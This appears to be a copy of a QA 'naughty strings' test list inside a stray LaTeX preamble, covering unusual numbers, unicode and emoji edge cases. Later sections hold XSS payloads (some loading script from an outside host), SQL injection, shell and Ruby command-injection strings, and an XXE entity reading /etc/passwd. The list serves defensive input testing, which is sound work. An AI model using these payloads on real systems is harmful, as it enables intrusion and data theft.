naugty_strings.txt 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626
  1. \documentclass{article}
  2. \usepackage[utf8]{inputenc}
  3. \title{eee}
  4. \author{henry.oswald }
  5. \date{September 2015}
  6. \usepackage{natbib}
  7. \usepackage{graphicx}
  8. \begin{document}
  9. \maketitle
  10. \section{Introduction}
  11. Encoding: utf8
  12. # Reserved Strings
  13. #
  14. # Strings which may be used elsewhere in code
  15. undefined
  16. undef
  17. null
  18. NULL
  19. (null)
  20. nil
  21. NIL
  22. true
  23. false
  24. True
  25. False
  26. None
  27. \
  28. \\
  29. # Numeric Strings
  30. #
  31. # Strings which can be interpreted as numeric
  32. 0
  33. 1
  34. 1.00
  35. $1.00
  36. 1/2
  37. 1E2
  38. 1E02
  39. 1E+02
  40. -1
  41. -1.00
  42. -$1.00
  43. -1/2
  44. -1E2
  45. -1E02
  46. -1E+02
  47. 1/0
  48. 0/0
  49. -2147483648/-1
  50. -9223372036854775808/-1
  51. 0.00
  52. 0..0
  53. .
  54. 0.0.0
  55. 0,00
  56. 0,,0
  57. ,
  58. 0,0,0
  59. 0.0/0
  60. 1.0/0.0
  61. 0.0/0.0
  62. 1,0/0,0
  63. 0,0/0,0
  64. --1
  65. -
  66. -.
  67. -,
  68. 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
  69. NaN
  70. Infinity
  71. -Infinity
  72. 0x0
  73. 0xffffffff
  74. 0xffffffffffffffff
  75. 0xabad1dea
  76. 123456789012345678901234567890123456789
  77. 1,000.00
  78. 1 000.00
  79. 1'000.00
  80. 1,000,000.00
  81. 1 000 000.00
  82. 1'000'000.00
  83. 1.000,00
  84. 1 000,00
  85. 1'000,00
  86. 1.000.000,00
  87. 1 000 000,00
  88. 1'000'000,00
  89. 01000
  90. 08
  91. 09
  92. 2.2250738585072011e-308
  93. # Special Characters
  94. #
  95. # Strings which contain common special ASCII characters (may need to be escaped)
  96. ,./;'[]\-=
  97. <>?:"{}|_+
  98. !@#$%^&*()`~
  99. # Unicode Symbols
  100. #
  101. # Strings which contain common unicode symbols (e.g. smart quotes)
  102. Ω≈ç√∫˜µ≤≥÷
  103. åß∂ƒ©˙∆˚¬…æ
  104. œ∑´®†¥¨ˆøπ“‘
  105. ¡™£¢∞§¶•ªº–≠
  106. ¸˛Ç◊ı˜Â¯˘¿
  107. ÅÍÎÏ˝ÓÔÒÚÆ☃
  108. Œ„´‰ˇÁ¨ˆØ∏”’
  109. `⁄€‹›fifl‡°·‚—±
  110. ⅛⅜⅝⅞
  111. ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
  112. ٠١٢٣٤٥٦٧٨٩
  113. # Unicode Subscript/Superscript
  114. #
  115. # Strings which contain unicode subscripts/superscripts; can cause rendering issues
  116. ⁰⁴⁵
  117. ₀₁₂
  118. ⁰⁴⁵₀₁₂
  119. # Quotation Marks
  120. #
  121. # Strings which contain misplaced quotation marks; can cause encoding errors
  122. '
  123. "
  124. ''
  125. ""
  126. '"'
  127. "''''"'"
  128. "'"'"''''"
  129. # Two-Byte Characters
  130. #
  131. # Strings which contain two-byte characters: can cause rendering issues or character-length issues
  132. 田中さんにあげて下さい
  133. パーティーへ行かないか
  134. 和製漢語
  135. 部落格
  136. 사회과학원 어학연구소
  137. 찦차를 타고 온 펲시맨과 쑛다리 똠방각하
  138. 社會科學院語學研究所
  139. 울란바토르
  140. 𠜎𠜱𠝹𠱓𠱸𠲖𠳏
  141. # Japanese Emoticons
  142. #
  143. # Strings which consists of Japanese-style emoticons which are popular on the web
  144. ヽ༼ຈل͜ຈ༽ノ ヽ༼ຈل͜ຈ༽ノ
  145. (。◕ ∀ ◕。)
  146. `ィ(´∀`∩
  147. __ロ(,_,*)
  148. ・( ̄∀ ̄)・:*:
  149. ゚・✿ヾ╲(。◕‿◕。)╱✿・゚
  150. ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
  151. (╯°□°)╯︵ ┻━┻)
  152. (ノಥ益ಥ)ノ ┻━┻
  153. ( ͡° ͜ʖ ͡°)
  154. # Emoji
  155. #
  156. # Strings which contain Emoji; should be the same behavior as two-byte characters, but not always
  157. 😍
  158. 👩🏽
  159. 👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
  160. 🐵 🙈 🙉 🙊
  161. ❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
  162. ✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
  163. 🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
  164. 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
  165. # Unicode Numbers
  166. #
  167. # Strings which contain unicode numbers; if the code is localized, it should see the input as numeric
  168. 123
  169. ١٢٣
  170. # Right-To-Left Strings
  171. #
  172. # Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew)
  173. ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
  174. בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
  175. הָיְתָהtestالصفحات التّحول
  176. ﷽
  177. ﷺ
  178. # Unicode Spaces
  179. #
  180. # Strings which contain unicode space characters with special properties (c.f. https://www.cs.tut.fi/~jkorpela/chars/spaces.html)
  181. ​
  182.  
  183. ᠎
  184.  
  185. 
  186. ␣
  187. ␢
  188. ␡
  189. # Trick Unicode
  190. #
  191. # Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)
  192. ‪‪test‪
  193. ‫test‫
  194. 
test

  195. test⁠test‫
  196. ⁦test⁧
  197. # Zalgo Text
  198. #
  199. # Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)
  200. Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
  201. ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
  202. ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
  203. ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
  204. Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
  205. # Unicode Upsidedown
  206. #
  207. # Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com)
  208. ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
  209. 00˙Ɩ$-
  210. # Unicode font
  211. #
  212. # Strings which contain bold/italic/etc. versions of normal characters
  213. The quick brown fox jumps over the lazy dog
  214. 𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
  215. 𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
  216. 𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
  217. 𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
  218. 𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
  219. 𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
  220. ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
  221. # Script Injection
  222. #
  223. # Strings which attempt to invoke a benign script injection; shows vulnerability to XSS
  224. <script>alert(123)</script>
  225. &lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
  226. <img src=x onerror=alert(123) />
  227. <svg><script>123<1>alert(123)</script>
  228. "><script>alert(123)</script>
  229. '><script>alert(123)</script>
  230. ><script>alert(123)</script>
  231. </script><script>alert(123)</script>
  232. < / script >< script >alert(123)< / script >
  233. onfocus=JaVaSCript:alert(123) autofocus
  234. " onfocus=JaVaSCript:alert(123) autofocus
  235. ' onfocus=JaVaSCript:alert(123) autofocus
  236. <script>alert(123)</script>
  237. <sc<script>ript>alert(123)</sc</script>ript>
  238. --><script>alert(123)</script>
  239. ";alert(123);t="
  240. ';alert(123);t='
  241. JavaSCript:alert(123)
  242. ;alert(123);
  243. src=JaVaSCript:prompt(132)
  244. "><script>alert(123);</script x="
  245. '><script>alert(123);</script x='
  246. ><script>alert(123);</script x=
  247. " autofocus onkeyup="javascript:alert(123)
  248. ' autofocus onkeyup='javascript:alert(123)
  249. <script\x20type="text/javascript">javascript:alert(1);</script>
  250. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  251. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  252. <script\x09type="text/javascript">javascript:alert(1);</script>
  253. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  254. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  255. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  256. '`"><\x3Cscript>javascript:alert(1)</script>
  257. '`"><\x00script>javascript:alert(1)</script>
  258. ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
  259. ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
  260. ABC<div style="x:expression\x00(javascript:alert(1)">DEF
  261. ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
  262. ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
  263. ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
  264. ABC<div style="x:\x09expression(javascript:alert(1)">DEF
  265. ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
  266. ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
  267. ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
  268. ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
  269. ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
  270. ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
  271. ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
  272. ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
  273. ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
  274. ABC<div style="x:\x20expression(javascript:alert(1)">DEF
  275. ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
  276. ABC<div style="x:\x00expression(javascript:alert(1)">DEF
  277. ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
  278. ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
  279. ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
  280. ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
  281. ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
  282. ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
  283. ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
  284. ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
  285. <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  286. <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  287. <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  288. <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  289. <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  290. <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  291. <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  292. <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  293. <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  294. <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  295. <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  296. <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  297. <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  298. <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  299. <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  300. <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  301. <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  302. <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  303. <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  304. <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  305. <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  306. <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  307. <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  308. <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  309. <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  310. <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  311. <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  312. <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  313. <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  314. <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  315. <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  316. <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  317. <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  318. <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  319. <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  320. <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  321. <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  322. <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  323. <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  324. <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  325. <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  326. <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  327. <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  328. <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  329. <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  330. <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  331. <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  332. <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  333. <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  334. <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  335. <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  336. <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  337. <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
  338. <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
  339. <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
  340. <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
  341. <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
  342. `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
  343. `"'><img src=xxx:x \x22onerror=javascript:alert(1)>
  344. `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
  345. `"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
  346. `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
  347. `"'><img src=xxx:x \x09onerror=javascript:alert(1)>
  348. `"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
  349. `"'><img src=xxx:x \x00onerror=javascript:alert(1)>
  350. `"'><img src=xxx:x \x27onerror=javascript:alert(1)>
  351. `"'><img src=xxx:x \x20onerror=javascript:alert(1)>
  352. "`'><script>\x3Bjavascript:alert(1)</script>
  353. "`'><script>\x0Djavascript:alert(1)</script>
  354. "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
  355. "`'><script>\xE2\x80\x81javascript:alert(1)</script>
  356. "`'><script>\xE2\x80\x84javascript:alert(1)</script>
  357. "`'><script>\xE3\x80\x80javascript:alert(1)</script>
  358. "`'><script>\x09javascript:alert(1)</script>
  359. "`'><script>\xE2\x80\x89javascript:alert(1)</script>
  360. "`'><script>\xE2\x80\x85javascript:alert(1)</script>
  361. "`'><script>\xE2\x80\x88javascript:alert(1)</script>
  362. "`'><script>\x00javascript:alert(1)</script>
  363. "`'><script>\xE2\x80\xA8javascript:alert(1)</script>
  364. "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
  365. "`'><script>\xE1\x9A\x80javascript:alert(1)</script>
  366. "`'><script>\x0Cjavascript:alert(1)</script>
  367. "`'><script>\x2Bjavascript:alert(1)</script>
  368. "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
  369. "`'><script>-javascript:alert(1)</script>
  370. "`'><script>\x0Ajavascript:alert(1)</script>
  371. "`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
  372. "`'><script>\x7Ejavascript:alert(1)</script>
  373. "`'><script>\xE2\x80\x87javascript:alert(1)</script>
  374. "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
  375. "`'><script>\xE2\x80\xA9javascript:alert(1)</script>
  376. "`'><script>\xC2\x85javascript:alert(1)</script>
  377. "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
  378. "`'><script>\xE2\x80\x83javascript:alert(1)</script>
  379. "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
  380. "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
  381. "`'><script>\xE2\x80\x80javascript:alert(1)</script>
  382. "`'><script>\x21javascript:alert(1)</script>
  383. "`'><script>\xE2\x80\x82javascript:alert(1)</script>
  384. "`'><script>\xE2\x80\x86javascript:alert(1)</script>
  385. "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
  386. "`'><script>\x0Bjavascript:alert(1)</script>
  387. "`'><script>\x20javascript:alert(1)</script>
  388. "`'><script>\xC2\xA0javascript:alert(1)</script>
  389. <img \x00src=x onerror="alert(1)">
  390. <img \x47src=x onerror="javascript:alert(1)">
  391. <img \x11src=x onerror="javascript:alert(1)">
  392. <img \x12src=x onerror="javascript:alert(1)">
  393. <img\x47src=x onerror="javascript:alert(1)">
  394. <img\x10src=x onerror="javascript:alert(1)">
  395. <img\x13src=x onerror="javascript:alert(1)">
  396. <img\x32src=x onerror="javascript:alert(1)">
  397. <img\x47src=x onerror="javascript:alert(1)">
  398. <img\x11src=x onerror="javascript:alert(1)">
  399. <img \x47src=x onerror="javascript:alert(1)">
  400. <img \x34src=x onerror="javascript:alert(1)">
  401. <img \x39src=x onerror="javascript:alert(1)">
  402. <img \x00src=x onerror="javascript:alert(1)">
  403. <img src\x09=x onerror="javascript:alert(1)">
  404. <img src\x10=x onerror="javascript:alert(1)">
  405. <img src\x13=x onerror="javascript:alert(1)">
  406. <img src\x32=x onerror="javascript:alert(1)">
  407. <img src\x12=x onerror="javascript:alert(1)">
  408. <img src\x11=x onerror="javascript:alert(1)">
  409. <img src\x00=x onerror="javascript:alert(1)">
  410. <img src\x47=x onerror="javascript:alert(1)">
  411. <img src=x\x09onerror="javascript:alert(1)">
  412. <img src=x\x10onerror="javascript:alert(1)">
  413. <img src=x\x11onerror="javascript:alert(1)">
  414. <img src=x\x12onerror="javascript:alert(1)">
  415. <img src=x\x13onerror="javascript:alert(1)">
  416. <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
  417. <img src=x onerror=\x09"javascript:alert(1)">
  418. <img src=x onerror=\x10"javascript:alert(1)">
  419. <img src=x onerror=\x11"javascript:alert(1)">
  420. <img src=x onerror=\x12"javascript:alert(1)">
  421. <img src=x onerror=\x32"javascript:alert(1)">
  422. <img src=x onerror=\x00"javascript:alert(1)">
  423. <a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
  424. <img src="x` `<script>javascript:alert(1)</script>"` `>
  425. <img src onerror /" '"= alt=javascript:alert(1)//">
  426. <title onpropertychange=javascript:alert(1)></title><title title=>
  427. <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
  428. <!--[if]><script>javascript:alert(1)</script -->
  429. <!--[if<img src=x onerror=javascript:alert(1)//]> -->
  430. <script src="/\%(jscript)s"></script>
  431. <script src="\\%(jscript)s"></script>
  432. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  433. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  434. <IMG SRC=# onmouseover="alert('xxs')">
  435. <IMG SRC= onmouseover="alert('xxs')">
  436. <IMG onmouseover="alert('xxs')">
  437. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  438. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  439. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  440. <IMG SRC="jav ascript:alert('XSS');">
  441. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  442. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  443. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  444. perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
  445. <IMG SRC=" &#14; javascript:alert('XSS');">
  446. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  447. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  448. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  449. <<SCRIPT>alert("XSS");//<</SCRIPT>
  450. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
  451. <SCRIPT SRC=//ha.ckers.org/.j>
  452. <IMG SRC="javascript:alert('XSS')"
  453. <iframe src=http://ha.ckers.org/scriptlet.html <
  454. \";alert('XSS');//
  455. <plaintext>
  456. # SQL Injection
  457. #
  458. # Strings which can cause a SQL injection if inputs are not sanitized
  459. 1;DROP TABLE users
  460. 1'; DROP TABLE users-- 1
  461. ' OR 1=1 -- 1
  462. ' OR '1'='1
  463. # Server Code Injection
  464. #
  465. # Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)
  466. -
  467. --
  468. --version
  469. --help
  470. $USER
  471. /dev/null; touch /tmp/blns.fail ; echo
  472. `touch /tmp/blns.fail`
  473. $(touch /tmp/blns.fail)
  474. @{[system "touch /tmp/blns.fail"]}
  475. # Command Injection (Ruby)
  476. #
  477. # Strings which can call system commands within Ruby/Rails applications
  478. eval("puts 'hello world'")
  479. System("ls -al /")
  480. `ls -al /`
  481. Kernel.exec("ls -al /")
  482. Kernel.exit(1)
  483. %x('ls -al /')
  484. # XXE Injection (XML)
  485. #
  486. # String which can reveal system files when parsed by a badly configured XML parser
  487. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  488. # Unwanted Interpolation
  489. #
